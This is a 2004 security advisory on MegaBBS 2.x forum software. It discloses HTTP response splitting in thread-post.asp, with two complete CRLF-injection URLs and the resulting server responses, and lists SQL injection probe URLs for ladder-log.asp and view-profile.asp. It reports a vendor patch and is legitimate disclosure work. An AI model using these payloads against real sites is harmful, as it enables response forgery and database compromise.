[NT] HTTP Response Splitting and SQL Injection in Megabbs Forum

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To: list@securiteam.com
Date: 1 Oct 2004 09:55:08 +0200

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  HTTP Response Splitting and SQL Injection in Megabbs Forum
------------------------------------------------------------------------

SUMMARY

 <http://www.pd9soft.com/megabbs-support/index.asp> MegaBBS is "a
complete, fully featured ASP website system. Includes an extremely
powerful forum, calendars, polls, and photo albums. Best of all, it's
completely free! Find out why MegaBBS is one of the fastest growing ASP
messaging portals available today."
Multiple vulnerabilities in MegaBBS allow a malicious attacker to control
HTTP header response from the server running the application and run
arbitrary SQL commands on the target machine's database.

DETAILS

Vulnerable Systems:
 * MegaBBS Version 2.x

HTTP Response Splitting:
MegaBBS does not properly filter user input characters while redirecting
to a different page. This allows a malicious attacker to control the HTTP
response from the server.

Example1 (URL wraps):
http://www.example.com/megabbs/forums/thread-post.asp?action=writenew&fid=%0
d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20
text/html%0d%0aContent-Length:%2033%0d%0a%0d%0a%3chtml%3eScanned%20by%20Maxp
atrol%3c/html%3e%0d%0a&tid=4924&replyto=22947&displaytype=flat

Server result:

HTTP/1.1 302 Object moved
Connection: close
Date: Sun, 26 Sep 2004 14:14:02 GMT
Server: Microsoft-IIS/6.0
Location: /megabbs/forums/forum-view.asp?fid=
Content-Length: 0

HTTP/1.0 200 OK
Content-Type: text/html
Content-Length: 33

Scanned by Maxpatrol

Content-Length: 290
Content-Type: text/html
Expires: Sun, 26 Sep 2004 14:13:02 GMT
Set-Cookie: guestID=309; path=/
Set-Cookie: ASPSESSIONIDAQRTADCB=KNEIJIEDEMJPNNKPNFONOIFL; path=/
Cache-contro

Example2 (URL wraps):
http://www.example.com/megabbs/forums/thread-post.asp?fid=%0d%0aContent-Leng
th:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aC
ontent-Length:%2033%0d%0a%0d%0a%3chtml%3eScanned%20by%20Maxpatrol%3c/html%3e
%0d%0a&action=writenew&displaytype=flat

Result:

HTTP/1.1 302 Object moved
Connection: close
Date: Sun, 26 Sep 2004 14:34:05 GMT
Server: Microsoft-IIS/6.0
Location: /megabbs/forums/forum-view.asp?fid=
Content-Length: 0

HTTP/1.0 200 OK
Content-Type: text/html
Content-Length: 33

Scanned by Maxpatrol

Content-Length: 290
Content-Type: text/html
Expires: Sun, 26 Sep 2004 14:33:05 GMT
Set-Cookie: guestID=421; path=/
Set-Cookie: ASPSESSIONIDAQRTADCB=HCGIJIEDMBPIHPCDJFKACJAC; path=/
Cache-contro

Multiple SQL injection:
In ladder-log.asp page:
ladder-log.asp?categoryid=1&sortby=completeddate&sortdir=1'
ladder-log.asp?categoryid=1&filter=id&criteria=1'
in view-profile.asp page:
view-profile.asp?type=single&memberid=1'
view-profile.asp?type=team&teamid=1'

Vendor Status:
A patch addressing these issues has been released and can be obtained at:
<http://www.pd9soft.com/megabbs/forums/thread-view.asp?tid=4924>
http://www.pd9soft.com/megabbs/forums/thread-view.asp?tid=4924

ADDITIONAL INFORMATION

The information has been provided by <mailto:pigrelax@yandex.ru>
pigrelax.

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